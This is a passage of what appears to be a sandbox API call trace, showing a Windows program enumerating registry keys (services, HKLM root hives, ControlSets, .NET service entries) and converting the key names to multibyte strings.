cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0239.309] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0239.309] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0239.309] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0239.309] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1e38, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0239.309] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0239.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0239.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0239.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0239.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0239.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1e38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0239.311] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0239.311] RegCloseKey (hKey=0x150) returned 0x0 [0239.311] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.311] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0239.311] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0239.311] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0239.311] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0239.312] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.312] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0239.312] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.312] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0239.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0239.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0239.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0239.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0239.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0239.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0239.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0239.314] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.314] RegCloseKey (hKey=0x148) returned 0x0 [0239.314] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0239.314] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0239.314] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0239.314] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0239.315] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0239.315] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.315] RegCloseKey (hKey=0x150) returned 0x0 [0239.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0239.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1e38, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0239.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0239.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0239.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1e38, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0239.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0239.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0239.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1e38, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 